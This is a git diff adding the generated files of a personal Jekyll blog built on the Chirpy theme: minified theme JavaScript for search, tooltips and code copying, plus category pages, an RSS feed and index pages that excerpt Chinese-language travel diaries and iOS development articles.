m.hasClass(k)}$(".collapse");function O(t){t.parent().removeClass("shimmer")}$(".code-header>button").children().attr("class");var D,P,V,I=function(){function e(){t(this,e)}return r(e,null,[{key:"attrTimestamp",get:function(){return"data-ts"}},{key:"attrDateFormat",get:function(){return"data-df"}},{key:"locale",get:function(){return $("html").attr("lang").substring(0,2)}},{key:"getTimestamp",value:function(t){return Number(t.attr(e.attrTimestamp))}},{key:"getDateFormat",value:function(t){return t.attr(e.attrDateFormat)}}]),e}();D=$(window),P=$("#back-to-top"),D.on("scroll",(function(){D.scrollTop()>50?P.fadeIn():P.fadeOut()})),P.on("click",(function(){D.scrollTop(0)})),o(document.querySelectorAll('[data-bs-toggle="tooltip"]')).map((function(t){return new bootstrap.Tooltip(t)})),0!==l.length&&l.off().on("click",(function(t){var e=$(t.target),r=e.prop("tagName")==="button".toUpperCase()?e:e.parent();modeToggle.flipMode(),r.trigger("blur")})),$("#sidebar-trigger").on("click",c.toggle),$("#mask").on("click",c.toggle),d.on("click",(function(){x.on(),E.on(),h.trigger("focus")})),m.on("click",(function(){x.off(),E.off()})),h.on("focus",(function(){v.addClass(j)})),h.on("focusout",(function(){v.removeClass(j)})),h.on("input",(function(){""===h.val()?F()?C.removeClass(T):E.off():(E.on(),F()&&C.addClass(T))})),dayjs.locale(I.locale),dayjs.extend(window.dayjs_plugin_localizedFormat),$("[".concat(I.attrTimestamp,"]")).each((function(){var t=dayjs.unix(I.getTimestamp($(this))),e=t.format(I.getDateFormat($(this)));$(this).text(e),$(this).removeAttr(I.attrTimestamp),$(this).removeAttr(I.attrDateFormat);var r=$(this).attr("data-bs-toggle");if(void 0!==r&&"tooltip"===r){var n=t.format("llll");$(this).attr("data-bs-title",n),new bootstrap.Tooltip($(this))}})),(V=$("#core-wrapper img[data-src]")).length<=0||(document.addEventListener("lazyloaded",(function(t){O($(t.target))})),V.each((function(){$(this).hasClass("ls-is-cached")&&O($(this))})))}(); diff --git a/assets/js/dist/misc.min.js b/assets/js/dist/misc.min.js new file mode 100644 index 000000000..f365a6f1b --- /dev/null +++ b/assets/js/dist/misc.min.js @@ -0,0 +1,6 @@ +/*! + * Chirpy v6.1.0 (https://github.com/cotes2020/jekyll-theme-chirpy/) + * © 2019 Cotes Chung + * MIT Licensed + */ +!function(){"use strict";function t(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function e(t,e){for(var r=0;rt.length)&&(e=t.length);for(var r=0,n=new Array(e);r.row"),v=$("#topbar-title"),g=$("#search-wrapper"),y=$("#search-result-wrapper"),b=$("#search-results"),h=$("#search-input"),C=$("#search-hints"),k=$("html,body"),w="loaded",T="unloaded",j="input-focus",A="d-flex",S=function(){function e(){t(this,e)}return r(e,null,[{key:"on",value:function(){e.offset=window.scrollY,k.scrollTop(0)}},{key:"off",value:function(){k.scrollTop(e.offset)}}]),e}();n(S,"offset",0),n(S,"resultVisible",!1);var x=function(){function e(){t(this,e)}return r(e,null,[{key:"on",value:function(){f.addClass(T),v.addClass(T),d.addClass(T),g.addClass(A),m.addClass(w)}},{key:"off",value:function(){m.removeClass(w),g.removeClass(A),f.removeClass(T),v.removeClass(T),d.removeClass(T)}}]),e}(),E=function(){function e(){t(this,e)}return r(e,null,[{key:"on",value:function(){S.resultVisible||(S.on(),y.removeClass(T),p.addClass(T),S.resultVisible=!0)}},{key:"off",value:function(){S.resultVisible&&(b.empty(),C.hasClass(T)&&C.removeClass(T),y.addClass(T),p.removeClass(T),S.off(),h.val(""),S.resultVisible=!1)}}]),e}();function F(){return m.hasClass(w)}$(".collapse");$(".code-header>button").children().attr("class");var O,D,P=function(){function e(){t(this,e)}return r(e,null,[{key:"attrTimestamp",get:function(){return"data-ts"}},{key:"attrDateFormat",get:function(){return"data-df"}},{key:"locale",get:function(){return $("html").attr("lang").substring(0,2)}},{key:"getTimestamp",value:function(t){return Number(t.attr(e.attrTimestamp))}},{key:"getDateFormat",value:function(t){return t.attr(e.attrDateFormat)}}]),e}();O=$(window),D=$("#back-to-top"),O.on("scroll",(function(){O.scrollTop()>50?D.fadeIn():D.fadeOut()})),D.on("click",(function(){O.scrollTop(0)})),o(document.querySelectorAll('[data-bs-toggle="tooltip"]')).map((function(t){return new bootstrap.Tooltip(t)})),0!==l.length&&l.off().on("click",(function(t){var e=$(t.target),r=e.prop("tagName")==="button".toUpperCase()?e:e.parent();modeToggle.flipMode(),r.trigger("blur")})),$("#sidebar-trigger").on("click",c.toggle),$("#mask").on("click",c.toggle),d.on("click",(function(){x.on(),E.on(),h.trigger("focus")})),m.on("click",(function(){x.off(),E.off()})),h.on("focus",(function(){g.addClass(j)})),h.on("focusout",(function(){g.removeClass(j)})),h.on("input",(function(){""===h.val()?F()?C.removeClass(T):E.off():(E.on(),F()&&C.addClass(T))})),dayjs.locale(P.locale),dayjs.extend(window.dayjs_plugin_localizedFormat),$("[".concat(P.attrTimestamp,"]")).each((function(){var t=dayjs.unix(P.getTimestamp($(this))),e=t.format(P.getDateFormat($(this)));$(this).text(e),$(this).removeAttr(P.attrTimestamp),$(this).removeAttr(P.attrDateFormat);var r=$(this).attr("data-bs-toggle");if(void 0!==r&&"tooltip"===r){var n=t.format("llll");$(this).attr("data-bs-title",n),new bootstrap.Tooltip($(this))}}))}(); diff --git a/assets/js/dist/page.min.js b/assets/js/dist/page.min.js new file mode 100644 index 000000000..dcce2dff7 --- /dev/null +++ b/assets/js/dist/page.min.js @@ -0,0 +1,6 @@ +/*! + * Chirpy v6.1.0 (https://github.com/cotes2020/jekyll-theme-chirpy/) + * © 2019 Cotes Chung + * MIT Licensed + */ +!function(){"use strict";function t(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function e(t,e){for(var n=0;nt.length)&&(e=t.length);for(var n=0,r=new Array(e);n.row"),v=$("#topbar-title"),g=$("#search-wrapper"),b=$("#search-result-wrapper"),h=$("#search-results"),y=$("#search-input"),C=$("#search-hints"),w=$("html,body"),k="loaded",S="unloaded",A="input-focus",T="d-flex",E=function(){function e(){t(this,e)}return n(e,null,[{key:"on",value:function(){e.offset=window.scrollY,w.scrollTop(0)}},{key:"off",value:function(){w.scrollTop(e.offset)}}]),e}();r(E,"offset",0),r(E,"resultVisible",!1);var j=function(){function e(){t(this,e)}return n(e,null,[{key:"on",value:function(){f.addClass(S),v.addClass(S),d.addClass(S),g.addClass(T),p.addClass(k)}},{key:"off",value:function(){p.removeClass(k),g.removeClass(T),f.removeClass(S),v.removeClass(S),d.removeClass(S)}}]),e}(),x=function(){function e(){t(this,e)}return n(e,null,[{key:"on",value:function(){E.resultVisible||(E.on(),b.removeClass(S),m.addClass(S),E.resultVisible=!0)}},{key:"off",value:function(){E.resultVisible&&(h.empty(),C.hasClass(S)&&C.removeClass(S),b.addClass(S),m.removeClass(S),E.off(),y.val(""),E.resultVisible=!1)}}]),e}();function O(){return p.hasClass(k)}$(".collapse");var P=".code-header>button",V="fas fa-check",I="timeout",N="data-title-succeed",q="data-bs-original-title",z=2e3;function D(t){if($(t)[0].hasAttribute(I)){var e=$(t).attr(I);if(Number(e)>Date.now())return!0}return!1}function M(t){$(t).attr(I,Date.now()+z)}function U(t){$(t).removeAttr(I)}var B,J,L,Y=$(P).children().attr("class");function F(t){t.parent().removeClass("shimmer")}B=$(window),J=$("#back-to-top"),B.on("scroll",(function(){B.scrollTop()>50?J.fadeIn():J.fadeOut()})),J.on("click",(function(){B.scrollTop(0)})),o(document.querySelectorAll('[data-bs-toggle="tooltip"]')).map((function(t){return new bootstrap.Tooltip(t)})),0!==l.length&&l.off().on("click",(function(t){var e=$(t.target),n=e.prop("tagName")==="button".toUpperCase()?e:e.parent();modeToggle.flipMode(),n.trigger("blur")})),$("#sidebar-trigger").on("click",c.toggle),$("#mask").on("click",c.toggle),d.on("click",(function(){j.on(),x.on(),y.trigger("focus")})),p.on("click",(function(){j.off(),x.off()})),y.on("focus",(function(){g.addClass(A)})),y.on("focusout",(function(){g.removeClass(A)})),y.on("input",(function(){""===y.val()?O()?C.removeClass(S):x.off():(x.on(),O()&&C.addClass(S))})),(L=$("#core-wrapper img[data-src]")).length<=0||(document.addEventListener("lazyloaded",(function(t){F($(t.target))})),L.each((function(){$(this).hasClass("ls-is-cached")&&F($(this))}))),$(".popup")<=0||$(".popup").magnificPopup({type:"image",closeOnContentClick:!0,showCloseBtn:!1,zoom:{enabled:!0,duration:300,easing:"ease-in-out"}}),function(){if($(P).length){var t=new ClipboardJS(P,{target:function(t){return t.parentNode.nextElementSibling.querySelector("code .rouge-code")}});o(document.querySelectorAll(P)).map((function(t){return new bootstrap.Tooltip(t,{placement:"left"})})),t.on("success",(function(t){t.clearSelection();var e=t.trigger;D(e)||(!function(t){$(t).children().attr("class",V)}(e),function(t){var e=$(t).attr(N);$(t).attr(q,e).tooltip("show")}(e),M(e),setTimeout((function(){!function(t){$(t).tooltip("hide").removeAttr(q)}(e),function(t){$(t).children().attr("class",Y)}(e),U(e)}),z))}))}$("#copy-link").on("click",(function(t){var e=$(t.target);D(e)||navigator.clipboard.writeText(window.location.href).then((function(){var t=e.attr(q),n=e.attr(N);e.attr(q,n).tooltip("show"),M(e),setTimeout((function(){e.attr(q,t),U(e)}),z)}))}))}()}(); diff --git a/assets/js/dist/post.min.js b/assets/js/dist/post.min.js new file mode 100644 index 000000000..916e3678c --- /dev/null +++ b/assets/js/dist/post.min.js @@ -0,0 +1,6 @@ +/*! + * Chirpy v6.1.0 (https://github.com/cotes2020/jekyll-theme-chirpy/) + * © 2019 Cotes Chung + * MIT Licensed + */ +!function(){"use strict";function t(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function e(t,e){for(var r=0;rt.length)&&(e=t.length);for(var r=0,n=new Array(e);r.row"),g=$("#topbar-title"),v=$("#search-wrapper"),h=$("#search-result-wrapper"),b=$("#search-results"),y=$("#search-input"),w=$("#search-hints"),C=$("html,body"),k="loaded",S="unloaded",T="input-focus",A="d-flex",j=function(){function e(){t(this,e)}return r(e,null,[{key:"on",value:function(){e.offset=window.scrollY,C.scrollTop(0)}},{key:"off",value:function(){C.scrollTop(e.offset)}}]),e}();n(j,"offset",0),n(j,"resultVisible",!1);var x=function(){function e(){t(this,e)}return r(e,null,[{key:"on",value:function(){f.addClass(S),g.addClass(S),d.addClass(S),v.addClass(A),p.addClass(k)}},{key:"off",value:function(){p.removeClass(k),v.removeClass(A),f.removeClass(S),g.removeClass(S),d.removeClass(S)}}]),e}(),E=function(){function e(){t(this,e)}return r(e,null,[{key:"on",value:function(){j.resultVisible||(j.on(),h.removeClass(S),m.addClass(S),j.resultVisible=!0)}},{key:"off",value:function(){j.resultVisible&&(b.empty(),w.hasClass(S)&&w.removeClass(S),h.addClass(S),m.removeClass(S),j.off(),y.val(""),j.resultVisible=!1)}}]),e}();function D(){return p.hasClass(k)}$(".collapse");var O=".code-header>button",F="fas fa-check",P="timeout",N="data-title-succeed",V="data-bs-original-title",q=2e3;function I(t){if($(t)[0].hasAttribute(P)){var e=$(t).attr(P);if(Number(e)>Date.now())return!0}return!1}function z(t){$(t).attr(P,Date.now()+q)}function L(t){$(t).removeAttr(P)}var M=$(O).children().attr("class");function U(t){t.parent().removeClass("shimmer")}var _,B,J,Y=function(){function e(){t(this,e)}return r(e,null,[{key:"attrTimestamp",get:function(){return"data-ts"}},{key:"attrDateFormat",get:function(){return"data-df"}},{key:"locale",get:function(){return $("html").attr("lang").substring(0,2)}},{key:"getTimestamp",value:function(t){return Number(t.attr(e.attrTimestamp))}},{key:"getDateFormat",value:function(t){return t.attr(e.attrDateFormat)}}]),e}();_=$(window),B=$("#back-to-top"),_.on("scroll",(function(){_.scrollTop()>50?B.fadeIn():B.fadeOut()})),B.on("click",(function(){_.scrollTop(0)})),o(document.querySelectorAll('[data-bs-toggle="tooltip"]')).map((function(t){return new bootstrap.Tooltip(t)})),0!==l.length&&l.off().on("click",(function(t){var e=$(t.target),r=e.prop("tagName")==="button".toUpperCase()?e:e.parent();modeToggle.flipMode(),r.trigger("blur")})),$("#sidebar-trigger").on("click",u.toggle),$("#mask").on("click",u.toggle),d.on("click",(function(){x.on(),E.on(),y.trigger("focus")})),p.on("click",(function(){x.off(),E.off()})),y.on("focus",(function(){v.addClass(T)})),y.on("focusout",(function(){v.removeClass(T)})),y.on("input",(function(){""===y.val()?D()?w.removeClass(S):E.off():(E.on(),D()&&w.addClass(S))})),(J=$("#core-wrapper img[data-src]")).length<=0||(document.addEventListener("lazyloaded",(function(t){U($(t.target))})),J.each((function(){$(this).hasClass("ls-is-cached")&&U($(this))}))),$(".popup")<=0||$(".popup").magnificPopup({type:"image",closeOnContentClick:!0,showCloseBtn:!1,zoom:{enabled:!0,duration:300,easing:"ease-in-out"}}),dayjs.locale(Y.locale),dayjs.extend(window.dayjs_plugin_localizedFormat),$("[".concat(Y.attrTimestamp,"]")).each((function(){var t=dayjs.unix(Y.getTimestamp($(this))),e=t.format(Y.getDateFormat($(this)));$(this).text(e),$(this).removeAttr(Y.attrTimestamp),$(this).removeAttr(Y.attrDateFormat);var r=$(this).attr("data-bs-toggle");if(void 0!==r&&"tooltip"===r){var n=t.format("llll");$(this).attr("data-bs-title",n),new bootstrap.Tooltip($(this))}})),function(){if($(O).length){var t=new ClipboardJS(O,{target:function(t){return t.parentNode.nextElementSibling.querySelector("code .rouge-code")}});o(document.querySelectorAll(O)).map((function(t){return new bootstrap.Tooltip(t,{placement:"left"})})),t.on("success",(function(t){t.clearSelection();var e=t.trigger;I(e)||(!function(t){$(t).children().attr("class",F)}(e),function(t){var e=$(t).attr(N);$(t).attr(V,e).tooltip("show")}(e),z(e),setTimeout((function(){!function(t){$(t).tooltip("hide").removeAttr(V)}(e),function(t){$(t).children().attr("class",M)}(e),L(e)}),q))}))}$("#copy-link").on("click",(function(t){var e=$(t.target);I(e)||navigator.clipboard.writeText(window.location.href).then((function(){var t=e.attr(V),r=e.attr(N);e.attr(V,r).tooltip("show"),z(e),setTimeout((function(){e.attr(V,t),L(e)}),q)}))}))}(),document.querySelector("#core-wrapper h2,#core-wrapper h3")&&tocbot.init({tocSelector:"#toc",contentSelector:".post-content",ignoreSelector:"[data-toc-skip]",headingSelector:"h2, h3",orderedList:!1,scrollSmooth:!1})}(); diff --git a/categories/dev/index.html b/categories/dev/index.html new file mode 100644 index 000000000..d789d5058 --- /dev/null +++ b/categories/dev/index.html @@ -0,0 +1 @@ + Dev. | ZhgChgLi
Home Categories Dev.
Category
Cancel

Dev. 56

diff --git a/categories/engineering/index.html b/categories/engineering/index.html new file mode 100644 index 000000000..499cede74 --- /dev/null +++ b/categories/engineering/index.html @@ -0,0 +1 @@ + Engineering | ZhgChgLi
diff --git a/categories/index.html b/categories/index.html new file mode 100644 index 000000000..3acd7d706 --- /dev/null +++ b/categories/index.html @@ -0,0 +1 @@ + Categories | ZhgChgLi
diff --git a/categories/life/index.html b/categories/life/index.html new file mode 100644 index 000000000..32cb1e23e --- /dev/null +++ b/categories/life/index.html @@ -0,0 +1 @@ + Life. | ZhgChgLi
Home Categories Life.
Category
Cancel
diff --git a/categories/pinkoi/index.html b/categories/pinkoi/index.html new file mode 100644 index 000000000..51c4019b7 --- /dev/null +++ b/categories/pinkoi/index.html @@ -0,0 +1 @@ + Pinkoi | ZhgChgLi
diff --git a/categories/z/index.html b/categories/z/index.html new file mode 100644 index 000000000..6cf36ec8e --- /dev/null +++ b/categories/z/index.html @@ -0,0 +1 @@ + Z | ZhgChgLi
diff --git a/categories/zrealm/index.html b/categories/zrealm/index.html new file mode 100644 index 000000000..33c8ec9f7 --- /dev/null +++ b/categories/zrealm/index.html @@ -0,0 +1 @@ + ZRealm | ZhgChgLi
Home Categories ZRealm
Category
Cancel

ZRealm 75

diff --git "a/categories/\345\272\246\346\227\205\350\241\214\351\201\212\350\250\230/index.html" "b/categories/\345\272\246\346\227\205\350\241\214\351\201\212\350\250\230/index.html" new file mode 100644 index 000000000..632f07eda --- /dev/null +++ "b/categories/\345\272\246\346\227\205\350\241\214\351\201\212\350\250\230/index.html" @@ -0,0 +1 @@ + 度旅行遊記 | ZhgChgLi
diff --git "a/categories/\350\217\234\351\263\245\345\255\270\347\256\241\347\220\206/index.html" "b/categories/\350\217\234\351\263\245\345\255\270\347\256\241\347\220\206/index.html" new file mode 100644 index 000000000..3903b97ec --- /dev/null +++ "b/categories/\350\217\234\351\263\245\345\255\270\347\256\241\347\220\206/index.html" @@ -0,0 +1 @@ + 菜鳥學管理 | ZhgChgLi
diff --git a/contact/index.html b/contact/index.html new file mode 100644 index 000000000..29e01fce6 --- /dev/null +++ b/contact/index.html @@ -0,0 +1 @@ + Contact | ZhgChgLi
Home Contact
Contact
Cancel
diff --git a/feed.xml b/feed.xml new file mode 100644 index 000000000..79a856b4f --- /dev/null +++ b/feed.xml @@ -0,0 +1 @@ + https://zhgchg.li/ZhgChgLiZhgChgLi iOS Developer 求知若渴 教學相長 更愛電影/美劇/西音/運動/生活 2024-01-10T16:58:07+08:00 ZhgChgLi https://zhgchg.li/ Jekyll © 2024 ZhgChgLi /assets/img/favicons/favicon.ico /assets/img/favicons/favicon-96x96.png 遊記 2023 廣島岡山 6 日自由行2024-01-09T21:27:40+08:00 2024-01-10T16:38:15+08:00 https://zhgchg.li/posts/31b9b3a63abc/ ZhgChgLi [遊記] 2023 廣島岡山 6 日自由行 2023 廣島、岡山、福山、倉敷、尾道 6 日遊 前言 8 月底離職後隨即在 9 月出發「 九州 10 日漫步獨旅 」休息了快三個月之後,原本預計 11 月中上班,新工作到職後就要展開新專案、新公司無多特休,一切要照基本勞基法重新累積年假,因此考慮再出去玩一次 (10 月底開始計劃)。 地點 — 廣島(岡山) 上次去 長崎路上的 意外小插曲 — 獲得一個( 廣島縣 )三原市おみやげ 加上上次去長崎參觀了核爆紀念館、和平公園,想說 廣島 的也可以去看看。 還有身邊朋友也都推薦 廣島 ,有世界遺產 — 嚴島神社、牡蠣、瀨戶內海、尾道、兔島… 加上同樣是獨旅,不考慮大城市及已經去過的城市、希望交通方便, 廣島 就是一個很好的選擇! 日期 — 11/13–18 原本預計 11/20(一) 上班(後來延到 12/1),扣掉最後一... 遊記 2023 九州 10 日自由行獨旅2023-10-04T12:46:37+08:00 2024-01-10T16:39:13+08:00 https://zhgchg.li/posts/d78e0b15a08a/ ZhgChgLi [遊記] 2023 九州 10 日自由行獨旅 九州 10 日自由行 福岡、長崎、熊本 走馬看花紀錄 前言 8 月底正式離開待了快 3 年的 Pinkoi;原本就有想離開的念頭,上半年時想說把假期放一放,去外面透透氣,回來再看情況,於是和朋友去了「 [遊記] 2023 京阪神 &amp; 🇯🇵初次著陸 」和同事去了「 [遊記] 2023 東京&amp; 🇯🇵二次著陸 」;但回來之後反而更想真正跳脫,剛好手上的事也告一段落,就鼓起勇氣跨了出去,離開舒適圈,尋找下一個新挑戰! 「 [遊記] 9/11 名古屋一日快閃 」純屬意外,如文內所說比較像行軍而不是放鬆的旅行。 趁著難得的空檔再去探索一次日本,原本的計畫是找同樣在待業的朋友一起去 🇰🇷 釜山 ➡️ 🇯🇵 福岡 ➡️ 🇯🇵 熊本 的路線 ;韓國去熊本回,途中釜山到福岡可以搭乘 新山茶花號 ,睡一晚 12 小時就到福岡,等於通勤... 遊記 9/11 名古屋一日快閃自由行2023-09-29T00:39:58+08:00 2024-01-10T16:39:36+08:00 https://zhgchg.li/posts/7b8a0563c157/ ZhgChgLi [遊記] 9/11 名古屋一日快閃自由行 樂桃航空名古屋一日快閃機票旅(ㄒㄧㄥˊ)遊(ㄐㄩㄣ)體驗 背景 一日名古屋來回機票是樂桃航空推出的活動: 快閃來回票價 | Peach Aviation 羽田加入行列囉!最長可停留28小時50分鐘! www.flypeach.com 我那時候買名古屋一日來回含機場服務費的價格是 $5,600 , 無托運、無餐點、無指定座位 ;來回都是紅眼航班: 去程:TPE 02:25 -&gt; NGO 06:30 回程:NGO 23:15 -&gt; TPE 01:25 照官方宣傳文宣, 最長停留時間 16小時45分鐘 ! 手提行李規定: 每人兩件 &amp; 總重小於 7 公斤 手提行李規定 日期: 2023/09/11、獨旅 Visit Japan 為了加速入境一樣直接預先填寫好入境資訊,直接用 QRCode 就... POC App End-to-End Testing Local Snapshot API Mock Server2023-08-28T22:53:27+08:00 2023-09-04T22:32:47+08:00 https://zhgchg.li/posts/5a5c4b25a83d/ ZhgChgLi [POC] App End-to-End Testing Local Snapshot API Mock Server 為現成 App 及現有 API 架構實現 E2E Testing 的可能性驗證 Photo by freestocks 前言 作為一個已在線上運作多年的專案,如何持續提升穩定性是一件極具挑戰的問題。 Unit Testing App 因開發語言 Swift/Kotlin 靜態+編譯+強型別 或 Objective-C to Swift 動態轉靜態,在開發時沒考慮到可測試性把介面依賴切乾淨,後面要補 Unit Testing 幾乎不可能;但在重構的過程也會帶來不穩定因素,會陷入一個雞生蛋蛋生雞問題。 UI Testing 對 UI 交互、按鈕測試;新開發或舊有的畫面稍微解耦資料依賴就可以實現。 SnapShot Testing 驗證調整前後的 UI... 使用 Google Apps Script 三步驟免費建立 Github Repo Star Notifier2023-08-01T22:32:14+08:00 2023-08-06T00:02:30+08:00 https://zhgchg.li/posts/382218e15697/ ZhgChgLi 使用 Google Apps Script 三步驟免費建立 Github Repo Star Notifier 撰寫 GAS 串接 Github Webhook 轉發按星星 Like 通知到 Line 前言 身為開源專案的維護者,不為錢不為名,只為一個 虛榮心 ;每當看到有新的 ⭐️ 星星時,心中都竊喜不已;花時間花精力做的專案真的有人在用、真的有幫助的有同樣問題的朋友。 Star History Chart 因此對 ⭐️ 星星的觀測多少有點強迫症,時不時就刷一下 Github 查看 ⭐️星星 數有沒有增加;我就在想有沒有更主動一點的方式,當有人 按 ⭐️星星 時主動跳通知提示,不需要手動追蹤查詢。 現有工具 首先考慮尋找現有工具達成,到 Github Marketplace 搜尋了一下,有幾個大神做好的工具可以使用。 試了其中幾個效果不如預期,有的已不在運作、... diff --git a/index.html b/index.html new file mode 100644 index 000000000..3cc78e556 --- /dev/null +++ b/index.html @@ -0,0 +1 @@ + ZhgChgLi
Home
ZhgChgLi
Cancel
Preview Image

手工打造 HTML 解析器的那些事

手工打造 HTML 解析器的那些事 ZMarkupParser HTML to NSAttributedString 渲染引擎的開發實錄 HTML String 的 Tokenization 轉換、Normalization 處理、Abstract Syntax Tree 的產生、Visitor Pattern / Builder Pattern 的應用, 還有一些雜談… 接續 去年發...

Preview Image

Design Patterns 的實戰應用紀錄

Design Patterns 的實戰應用紀錄 封裝 Socket.IO Client Library 需求時遇到的問題場景及解決方法應用到的 Design Patterns Photo by Daniel McCullough 前言 此篇文章是真實的需求開發,所運用到 Design Pattern 解決問題的場景記錄;內容篇幅會涵蓋需求背景、實際遇到的問題場景 (What?)、為...

Preview Image

iOS 隱私與便利的前世今生

iOS 隱私與便利的前世今生 Apple 隱私原則及 iOS 歷年對隱私保護的功能調整 Theme by slidego [2023–08–01] iOS 17 Update 對於之前演講的最新 iOS 17 隱私相關調整補充。 Link Tracking Protection Safari 會自動移除網址的 Tracking Parameter 參數 (e.g. fbclid ...

Preview Image

遊記 2023 廣島岡山 6 日自由行

[遊記] 2023 廣島岡山 6 日自由行 2023 廣島、岡山、福山、倉敷、尾道 6 日遊 前言 8 月底離職後隨即在 9 月出發「 九州 10 日漫步獨旅 」休息了快三個月之後,原本預計 11 月中上班,新工作到職後就要展開新專案、新公司無多特休,一切要照基本勞基法重新累積年假,因此考慮再出去玩一次 (10 月底開始計劃)。 地點 — 廣島(岡山) 上次去 長崎路上的 意外小插曲...

Preview Image

遊記 2023 九州 10 日自由行獨旅

[遊記] 2023 九州 10 日自由行獨旅 九州 10 日自由行 福岡、長崎、熊本 走馬看花紀錄 前言 8 月底正式離開待了快 3 年的 Pinkoi;原本就有想離開的念頭,上半年時想說把假期放一放,去外面透透氣,回來再看情況,於是和朋友去了「 [遊記] 2023 京阪神 &amp; 🇯🇵初次著陸 」和同事去了「 [遊記] 2023 東京&amp; 🇯🇵二次著陸 」;但回來之後反而更...

Preview Image

遊記 9/11 名古屋一日快閃自由行

[遊記] 9/11 名古屋一日快閃自由行 樂桃航空名古屋一日快閃機票旅(ㄒㄧㄥˊ)遊(ㄐㄩㄣ)體驗 背景 一日名古屋來回機票是樂桃航空推出的活動: 快閃來回票價 | Peach Aviation 羽田加入行列囉!最長可停留28小時50分鐘! www.flypeach.com 我那時候買名古屋一日來回含機場服務費的價格是 $5,600 , 無托運、無餐點、無指定座位 ;來回都是紅眼...

Preview Image

POC App End-to-End Testing Local Snapshot API Mock Server

[POC] App End-to-End Testing Local Snapshot API Mock Server 為現成 App 及現有 API 架構實現 E2E Testing 的可能性驗證 Photo by freestocks 前言 作為一個已在線上運作多年的專案,如何持續提升穩定性是一件極具挑戰的問題。 Unit Testing App 因開發語言 Swift/...

Preview Image

使用 Google Apps Script 三步驟免費建立 Github Repo Star Notifier

使用 Google Apps Script 三步驟免費建立 Github Repo Star Notifier 撰寫 GAS 串接 Github Webhook 轉發按星星 Like 通知到 Line 前言 身為開源專案的維護者,不為錢不為名,只為一個 虛榮心 ;每當看到有新的 ⭐️ 星星時,心中都竊喜不已;花時間花精力做的專案真的有人在用、真的有幫助的有同樣問題的朋友。 Sta...

Preview Image

Create a Github Repo Star Notifier for Free with Google Apps Script in Three Simple Steps

How to Build a Github Repo Star Notifier for Free in Three Simple Steps Using Google Apps Script Writing a GAS script to integrate with Github Webhook and forward star (like) notifications to Line...

Preview Image

遊記 2023 東京 5 日自由行

[遊記] 2023 東京 5 日自由行 繼上個月京阪神後,2023/06 東京 5 日自由行紀錄及食住行資訊 2023/05 京阪神 8 日自由行 繼上一篇「 [遊記] 2023 京阪神 &amp; 🇯🇵初次著陸 」很快地,隔了一週又再次來到日本。 你說為何不待在日本直接搭新幹線從大阪到東京?原因是東京行其實才是本來預期內安排的出國旅行,京阪神之行純屬程咬金。 加上懶得改機票跟改住...

diff --git a/norobots/index.html b/norobots/index.html new file mode 100644 index 000000000..d237606f0 --- /dev/null +++ b/norobots/index.html @@ -0,0 +1,11 @@ + + + + Redirecting… + + + + +

Redirecting…

+ Click here if you are not redirected. + diff --git a/page2/index.html b/page2/index.html new file mode 100644 index 000000000..e95000d33 --- /dev/null +++ b/page2/index.html @@ -0,0 +1 @@ + ZhgChgLi
Home
ZhgChgLi
Cancel
Preview Image

遊記 2023 京阪神 8 日自由行

[遊記] 2023 京阪神 8 日自由行 2023/05 京都、大阪、神戶 8日自由行紀錄及食住行入境資訊 前言 之前只去過 2019 🇲🇾 Sabah 跟 2018 🇹🇭 Bangkok 兩個東南亞國家並且都是跟團。 很喜歡東南亞萬里無雲的藍空和不受拘束的放縱 ENFP 身為一個熱情衝動、說走就走的 ENFP,此次行程從提議到出發中間只間隔了兩週;起因是友人 黃馨平 剛好有職...

Preview Image

ZMediumToJekyll

ZMediumToJekyll Move your Medium posts to a Jekyll blog and keep them in sync in the future. This tool can help you move your Medium posts to a Jekyll blog and keep them in sync in the future...

Preview Image

The Chronicles of Crafting an HTML Parser from Scratch

中文原文版 English Version (Translated using ChatGPT) The Chronicles of Crafting an HTML Parser Development Record of ZMarkupParser HTML to NSAttributedString Rendering E...

Preview Image

ZMarkupParser HTML String 轉換 NSAttributedString 工具

ZMarkupParser HTML String 轉換 NSAttributedString 工具 轉換 HTML String 成 NSAttributedString 對應 Key 樣式設定 ZhgChgLi / ZMarkupParser ZhgChgLi / ZMarkupParser 功能 使用純 Swift 開發,透過 Regex 剖析出 HTML Tag...

Preview Image

Google 搜尋出現與本人李仲澄無關之負面新聞聲明

聲明 #1: 技藝專題】寫程式成全民運動!專訪網頁設計金牌李仲澄 #2: 【技藝專題】人才培養做半套,技優生反成四不像 聲明人:李仲澄 聲明日期:2023/01/09 聯繫方式:zhgchgli@gmail.com (因不想增加 Google 對無關的惡意字詞收錄,故使用圖片做為聲明文件)

Preview Image

Pinkoi 2022 Open House for GenZ — 15 Mins Career Talk

Pinkoi 2022 Open House for GenZ — 15 Mins Career Talk Pinkoi Developers’ Night 2022 年末交流會 — 15 分鐘職涯分享演講 Pinkoi Developers’ Night 2022 年末交流會 活動連結: Linkedin 主要聽眾:各大專院校資訊相關科系在校學生 地點時間:2022/12/0...

Preview Image

ZReviewTender — 免費開源的 App Reviews 監控機器人

ZReviewTender — 免費開源的 App Reviews 監控機器人 實時監測 App 的最新評價內容並即時給予反饋,提升協作效率及消費者滿意度 ZhgChgLi / ZReviewTender ZhgChgLi / ZReviewTender App Reviews to Slack Channel ZReviewTender — 為您自動監控 App Store...

Preview Image

App Store Connect API 現已支援 讀取和管理 Customer Reviews

App Store Connect API 現已支援 讀取和管理 Customer Reviews App Store Connect API 2.0+ 全面更新,支援 In-app purchases、Subscriptions、Customer Reviews 管理 2022/07/19 News Upcoming transition from the XML feed to...

Preview Image

無痛轉移 Medium 到自架網站

無痛轉移 Medium 到自架網站 將 Medium 內容搬遷至 Github Pages (with Jekyll/Chirpy) zhgchg.li 背景 經營 Medium 的第四年,已累積超過 65 篇文章,將近 1000+ 小時的時間心血;當初會選擇 Medium 的原因是簡單方便,可以很好的把心思放在撰寫文章上,不需要去管其他的事;在此之前曾經嘗試過自架 Wordpre...

Preview Image

iOS 為多語系字串買份保險吧!

iOS 為多語系字串買份保險吧! 使用 SwifGen &amp; UnitTest 確保多語系操作的安全 Photo by Mick Haupt 問題 純文字檔案 iOS 的多語系處理方式是 Localizable.strings 純文字檔案,不像 Android 是透過 XML 格式來管理;所以在日常開發上就會有不小心把語系檔改壞或是漏加的風險再加上多語系不會在 Build...

diff --git a/page3/index.html b/page3/index.html new file mode 100644 index 000000000..1d5acf8a9 --- /dev/null +++ b/page3/index.html @@ -0,0 +1 @@ + ZhgChgLi
Home
